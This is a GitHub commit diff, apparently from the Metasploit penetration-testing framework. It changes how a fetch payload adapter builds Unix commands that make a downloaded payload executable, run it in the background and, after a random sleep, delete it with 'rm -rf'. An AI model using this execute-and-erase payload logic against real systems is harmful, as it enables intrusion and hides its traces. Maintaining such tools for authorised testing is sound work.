We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 2faa33e commit 594946dCopy full SHA for 594946d
lib/msf/core/payload/adapter/fetch.rb
@@ -202,12 +202,14 @@ def _execute_win
202
end
203
204
def _execute_nix
205
- cmds = "; chmod +x #{_remote_destination_nix}"
+ cmds = ";chmod +x #{_remote_destination_nix}"
206
if datastore['FETCH_DELETE']
207
- cmds << "; (#{_remote_destination_nix} &)"
208
- cmds << ";rm -rf #{_remote_destination_nix}"
+ # sometimes the delete can happen before the process is created
+ sleep_delete = rand(2..7)
209
+ cmds << ";(#{_remote_destination_nix} &)"
210
+ cmds << ";sleep #{sleep_delete};rm -rf #{_remote_destination_nix}"
211
else
- cmds << "; #{_remote_destination_nix} &"
212
+ cmds << ";#{_remote_destination_nix} &"
213
214
cmds
215
0 commit comments